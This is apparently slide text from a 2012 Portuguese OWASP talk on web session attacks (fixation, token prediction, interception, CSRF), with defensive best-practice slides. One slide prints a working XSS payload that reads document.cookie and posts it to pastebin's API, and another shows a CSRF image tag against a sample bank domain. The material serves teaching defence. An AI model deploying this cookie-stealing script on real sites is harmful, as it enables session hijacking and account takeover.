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INTRODUÇÃO 

 Devido ao papel chave desempenhado pelo mecanismo de 
gerenciamento de sessão, este é um dos principais alvos de ataques contra a 
aplicação. Se um atacante quebra o gerenciamento de sessão da aplicação, então 
ele pode efetivamente "bypassar" o sistema de autenticação se personificar um 
usuário válido da aplicação sem sequer conhecer suas credenciais. Se um atacante 
compromete a conta do administrador, então o atacante pode "ownar" a aplicação 
inteira. 
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SESSION FIXATION ATTACK 

online.worldbank.dom 

http://online.worldbank.dom 
/login.jsp?sessionID=1234 
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BOAS PRÁTICAS... 

Certifique-se de que seu servidor não aceite tokens 
“sugeridos” pelo usuário. 

Evite XSS a todo custo. 

Troque o identificador de sessão após logar o usuário. 
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MITO COMUM 

“Nós usamos smartcards para autenticação 
e as sessões dos usuários não podem ser 
comprometidas sem o uso deste 
dispositivo!” 
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PREDIÇÃO -  FRAQUEZAS NA GERAÇÃO DO TOKEN DE SESSÃO 

TOKENS SIGNIFICATIVOS 
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PREDIÇÃO -  FRAQUEZAS NA GERAÇÃO DO TOKEN DE SESSÃO 

TOKENS NÃO SIGNIFICATIVOS 
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BOAS PRÁTICAS... 

Evite usar informações sensíveis dos usuários para compor 
o token. 

Busque geradores de tokens já consagrados pelo mercado. 
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INTERCEPTAÇÃO – Capturando tokens 
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INTERCEPTAÇÃO – Capturando tokens 

1 – O não uso do HTTPS. 

2 – Uso do HTTPS apenas no login. 

3 – Buracos no HTTPS durante o uso da aplicação. 

4 – HTTPS não forçado 

5 –  A não mudança do token depois da autenticação. 

6 –  Transmissão do token via GET 

7 –  Não invalidação do token após logout/timeout 
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INTERCEPTAÇÃO – Uso do XSS para Session Hijacking 

function a(){ 
 var xhr = new XMLHttpRequest(); 
 var params = 'paste_code=' + document.cookie + '&paste_name=XSS_poc'; 
 xhr.open("POST","http://pastebin.com/api_public.php",true); 
 xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 
 xhr.setRequestHeader("Content-length",params.length + ""); 
 xhr.setRequestHeader("Connection","close"); 
 xhr.send(params); 
} 
 
a(); 

VIDEO 

Session Hijacking via XSS in Google Gruyere.mp4
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XSRF ou CSRF 

OWASP-PB  2012 

online.worldbank.dom 

Request 

Response with request to target 
<img src=“http://online.worldbank.dom/app?logout&h”> 
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BOAS PRÁTICAS... 

Usem o HTTPS e assegurem que este seja “forçado” e 
usado em toda a aplicação. 

Mudem o toquem após a autenticação. 

Nunca transmitam o token pelo método GET. 

Busquem que o timeout da sessão seja o mais curto 
possível e que este seja realmente invalidado com o 
logout ou no tempo. 

Utilize as flags “SECURE” e “HTTPOnly” nos tokens. 
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CONCLUSÃO 

 A maioria das vulnerabilidades e ataques a sessão do 
usuário é de maior responsabilidade do desenvolvedor da 
aplicação do que do usuário em si. Busquem desenvolver suas 
aplicações Web da forma mais segura possível não tendo a 
visão da segurança como um mal necessário e sim como valor 
agregado e como diferencial de mercado em relação ao atual 
contexto. 
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